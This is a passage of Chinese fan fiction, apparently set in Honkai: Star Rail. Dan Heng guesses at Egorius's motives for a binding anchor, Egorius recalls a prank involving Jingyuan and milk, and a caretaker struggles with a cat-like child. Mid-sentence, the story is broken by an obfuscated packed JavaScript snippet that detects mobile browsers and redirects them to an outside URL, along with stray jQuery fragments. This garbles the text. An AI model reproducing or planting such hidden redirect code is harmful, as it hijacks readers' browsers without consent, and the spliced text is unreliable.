丹恒注意到,当三月七说出“定界锚原本不是给幻胧用的”这句话时,顾清辞的反应有些反常。


    不是听到八卦时该有的好奇,也不是对“原定目标是谁”的自然疑惑。她的表情在话语落地的瞬间就变了,变得极度不自然,那种变化几乎没有经过思考的延迟。


    这种反应只有一种解释:她不需要思考,她在听到这句话的瞬间,就已经知道那个“埃戈里乌斯原本的目标”是谁。


    能让人仅仅因为听到“原本要给某人用”就色变,恰恰说明这个人与自己有着强关联,再结合顾清辞之前透露的仇人特征,他本就猜测仇人可能为埃戈里乌斯,而此刻她的反应,恰好印证了这个猜测。


    然后新的疑惑又随之而来,如果真是埃戈里乌斯,那他们之间有何等仇怨,需要动用这种手段?


    定界锚的功能是“将人定住,逃脱不开”。这种格外强劲禁锢类道具的用途无非是:对付难以捕捉的目标,对付极度危险的目标,用于防止目标逃跑。


    如果这东西原本不是给幻胧用的,那原定目标要么本身足够强大,要么对方有强烈的理由希望目标无法逃脱。


    但据他所知,顾清辞的实力并不强大。恰恰相反,她是一个刚刚踏入命途的人,连力量都掌握得不熟练,远达不到“难以捕捉”或“极度危险”的标准。


    如果只是想抓她,完全没必要动用“定界锚”这种底牌级别的道具。以埃戈里乌斯的能力,制服她应该轻而易举。


    可对方偏偏准备了这种东西。


    这说明在埃戈里乌斯眼中,顾清辞值得动用这种手段。不是因为她强大到抓不住,而是因为……让她“无法逃脱”这件事本身,至关重要。


    为什么?


    正思索间,星忽然煞有介事地提起一本名字冗长的小说。三月七则一脸崩溃地扑上去捂她的嘴,反应之大,反倒引起了丹恒的注意。


    《圣主的隐婚叛徒:你抛夫时可知我已血洗三界》。


    他当然知道这不是什么正经东西。他虽然常在资料室翻阅典籍,但并非与世隔绝,列车上有网络,他偶尔也会浏览一些资讯,对当下流行文化的风向并非一无所知。


    更何况她们平日的行为早已透露了端倪。在休息室凑在一起窃窃私语,讨论剧情、争论角色,见他路过就慌忙收起手机,或是欲盖弥彰地切换话题。次数多了,他自然明白那些“不方便让他看到”的内容大概是什么流向。


    能让三月七如此避之不及的,想必脱离不了那几个关键词。


    但他并未像三月七那样简单地将之归为胡说八道。阅世日久,他深知一个道理:艺术源于生活。那些夸张离奇的情节背后,往往映照着人性中真实存在的暗面。囚禁、控制、强制,这些词汇在话本里是虚构的戏剧冲突,但在现实中,当某些纠葛深到一定程度时,确实会催生出类似的手段。


    ……嗯?


    这个认知落进脑海时,恰好与之前的困惑产生了碰撞。


    为什么在埃戈里乌斯眼中,让她“无法逃脱”这件事本身,至关重要?


    顾清辞实力普通,如果只是想杀她,一剑足矣。如果只是想抓她,也不需要这种级别的东西。


    那么剩下的可能性只有一个:他要的不是“杀死”,也不是“抓捕”,而是别的什么,一种需要她“无法逃脱”才能实现的目的。


    正如那些小说里写的,一个人不惜一切代价要让另一个人无法从他身边逃开,往往只有一个理由……


    丹恒的思绪顿了顿。


    情、情仇?


    骤然得出这个结论,丹恒诡异地沉默了。


    他想起之前对埃戈里乌斯的了解,那人常年征战在外,向来不好情色,孑然一身。这样的人,会为情所困?会动用这种手段去……困住一个人?


    不太可能。


    丹恒感觉自己真是被她们带歪了,他继续默默地观察。


    而他眸中的顾清辞,脸上的表情已经从最初的僵硬,逐渐演变成一种难以名状的庆幸。那种庆幸太过明显,明显到几乎是在昭告天下:她在庆幸幻胧成了那个实际使用者。


    ——她在庆幸自己逃过一劫。


    三月七有些迷惑地发问:“什么逃过一劫?”


    丹恒幽幽地看了三月七一眼,敛下自己乱七八糟的思绪,他的目光循着顾清辞的视线,窗外正是仙舟罗浮,他神色清正,“庆幸仙舟逃过一劫。”


    ——


    而被他们暗自揣测的埃戈里乌斯,目的真的当真如此吗?


    恰恰相反,他的目的异常纯粹,但纯粹过后的目的又并不纯粹。


    正如他之前所说,定界锚,能将任何一个存在,无论有形无形,轻则锁定在原地,重则锁定在当前世界,无法脱离,无法转移,无法遁逃。


    他想要的,只是将顾清辞彻底锁定在当前世界,这个游戏世界,无法轻易抽身离开,返回现实世界,目的是如此纯粹。


    至于锁定之后会干些什么呢?答案显而易见,当然是让她重新承担她本应承担的罪孽,所以目的又并不彻底纯粹。


    而景元与丹恒不知内情,并不知道埃戈里乌斯原本想锁定之人非本界中人,落点自然是禁锢。


    而知本人非本界中人的顾清辞未知全情,仅从三月七口中得知了定界锚的作用是“将人定住,逃脱不开”,于是落点也同样是禁锢。


    加之这很符合她对自己的一贯猜测,所以那些她爱看的小说情节便成了她对“逃脱不开”的唯一解读。


    而此刻,被人冤枉又并不完全冤枉的埃戈里乌斯,正有条不紊地推进着自己的安排。


    他给星留联系方式,自然不是随手而为,那个小姑娘好奇心重,又爱凑热闹,且早有想法,他稍一联系,肯定会自己蹦蹦跳跳送上门来。


    看孩子的最佳人选,舍她其谁?


    景元的嘱咐,他也记得很清楚。


    其一,看孩子,别让人有可乘之机。


    ——星虽然行事跳脱,但实力摆在那里。更何况照看孩子的不又止她一个,那个教会派来的人,据说林林总总考了一堆证书,实力虽然难以估量,行事想必是谨慎的。一个能打,一个能防,一个护周全,一个查疏漏,两人互补,应该稳当。


    其二,别让孩子看到那些腥风血雨的东西。


    ——这事更好办。星带着孩子,他自己去处理那些不宜入目的东西,两不耽误,干干净净。


    埃戈里乌斯满意地点点头,自觉计划周全,思虑缜密,面面俱到。


    答应猫的,他都有做到。


    猫吩咐的,他桩桩件件都落了实。


    树影斑驳,凉风习习。


    他悠闲地坐在院落,沐浴在细碎的光影里兀自等待,手里还拿着一瓶奶,时不时轻抿一口。


    他家别的饮料可能没有,但奶保准管够。而这一切都始于一个流言,当时埃戈里乌斯还在笑,堂堂罗浮将军,每天一大早必痛饮一碗奶,如此具有反萌差,如此有损将军威严,景元也算是为罗浮特产代言了。


    后来神策府倒是正儿八经地出面否认了。


    可那时候,埃戈里乌斯已经坏点子一出,人远在仙舟之外,却大手一挥,不吝钱财,直接给他订了几大车的奶。不止浮羊奶,各个星系的奶都搜罗了个遍,琳琅满目地堆过去,浩浩荡荡,蔚为壮观。


    众人起初愕然,旋即恍然大悟:原来将军出面否认,不是不爱喝奶,恰恰相反,他是觉得自己被小瞧了,人家口味丰富着呢!


    在继暴食将军的称号后,奶味将军还没来得及被传出之际,景元先一步拿着他家的钥匙打开了他的门,根据他的寄件人信息,慢悠悠地和送件人说,自己是替他收快递的。


    因为埃戈里乌斯一向和景元关系很好,景元还有他家钥匙,更何况他家就在景元隔壁,送件人也没有怀疑,直接送到了他的家里。


    于是奶味圣主的名头被冠到了他的身上,他顿时就笑不出来了。更让他笑不出来的是,他的那些傻*下属还当了真,每每都会搜集一些奶味饮料邮寄给他,在他察觉之前,家里的奶已经堆积如山了。


    于是终于回家的埃戈里乌斯一打开门,面对满院满屋,堆得几乎无从下脚的奶制品,直接傻眼了。


    偏偏罪魁祸首景元还倚靠在门边,眼睛弯弯在那笑,笑笑笑笑笑,有什么好笑!


    此后数日,埃戈里乌斯理直气壮地睡进了隔壁,并扬言,你一日不清理,他就一日不离开你家里。


    景元倒是不介意,但奶制品多少会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233042|197155||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有些保质期,为了避免浪费,景元送给下属,送给慈善机构……一批批送了下去。但多多少少是留了一点,说什么毕竟是别人的心意。


    ……然后这个心意他还没喝完,每天随手摸一瓶,什么口味凭运气,喝奶也是喝出开盲盒的感觉。


    今天这瓶奶感觉蛮好喝的,他是甜口,他半眯着眼,视线越过瓶口,落在不远处的梧桐树上。


    准确地说,是落在树上那团白乎乎的东西上。


    咕噜爬上去了。


    那棵梧桐生得极高,枝干虬结,最顶端的细枝在风里晃晃悠悠。小小的白袍团子就坐在其中一根分叉的粗枝上,两条短腿悬空晃荡,宽大的袍摆垂下来,被风吹得一鼓一鼓的。


    他倒是坐得稳当,赤足踩在树皮上,小手扶着旁边的枝丫,那张与自己有几分相似的小脸上没什么表情,只是垂着眼,居高临下地俯瞰着树下的人。


    树下的人是谁呢?


    当然是倒霉催的冯瑟尔。


    面对他的梅开二度,尤其是在圣主眼皮子底下,冯瑟尔觉得自己的人生正在以一种肉眼可见的速度崩塌,任他翻遍教科书里所有手段,说尽天上地下的所有好话……


    圣子就像是听不懂人话。


    冯瑟尔绝望地想着。


    那小小一团白袍就高高坐在树梢上,用那双金色的眼睛居高临下地看着他,像是在看一个跳梁小丑。


    冯瑟尔觉得自己真的成了小丑。


    一个考取了诸多儿童心理学证书、钻研过无数案例、自诩专业过硬的高级人才,此刻正对着一个两岁大的孩子束手无策,所有的理论知识都成了笑话。


    而更要命的是,身后那道目光。


    他不用回头也能感受到,那道目光从树荫下慢悠悠地落过来,落在他僵硬的脊背上,落在他满是汗水的额角上,落在他快要绷不住的表情上。


    那目光明明并不锐利,却让冯瑟尔愈发如芒在背。


    ……圣主在看。


    这个念头一冒出来,他的后背就像被碳烤过一样,开始冒汗了。


    冯瑟尔深深地闭上眼睛。


    这几日的相处,他也不是全无收获。好歹是考取了相关证书的专业人士,他在无数次挫败中冷静观察、认真总结,终于得出了几个初步结论:


    其一,圣子行事作风堪称我行我素,唯我独尊,全然不以他人意志为转移。


    其二,疑似有多动倾向,注意力极难维系,任何试图引导的行为都像是在对着一阵风发号施令。


    其三……


    冯瑟尔的眼皮跳了跳。


    其三,圣子他……他只会喵喵叫。


    ……不是人类的语言,就是猫叫。而且是那种短促的、慵懒的、爱搭不理的喵叫声。


    其四,行为模式更像猫。


    喜欢高处,喜欢晒太阳,喜欢用那双金色的眼睛居高临下地俯瞰众生,有时候叫名字是不行的,只有心情好的时候才会勉强搭理。


    冯瑟尔艰难地咽了口唾沫,脑海中浮现出一个可怕的推论。


    换句话说……


    换句话说……


    他不敢往下想,但那个念头还是顽强地冒了出来。


    圣子他……可能……


    可能是个弱智。


    这两个字在脑海里炸开的时候,冯瑟尔只觉得眼前一黑。


    不不不,怎么能这么说,这是圣子,是圣主的孩子,是自己应当用生命守护的存在!


    可是。


    他悄悄睁开一条眼缝,望向树上那团白乎乎的小身影。


    小小的孩子坐在枝丫间,正低着头,认真地……在揪一片叶子。


    揪下来,看一眼,扔掉。再揪一片,看一眼,扔掉。


    脸上没有任何表情,像是沉浸在自己的世界里,与树下的一切都毫无关系。


    冯瑟尔:“……”


    他再次闭上眼睛,然后就感觉到了背后那道目光正一寸一寸地变得锐利起来,像是密密麻麻地扎在他的专业尊严,他的脊梁骨上。


    ……不能再拖了!


    冯瑟尔心一横,猛地睁开眼,转过身,“圣……”


    恰好此时,有人叩响门扉。


    两人的视线顿时齐齐落在那扇门上。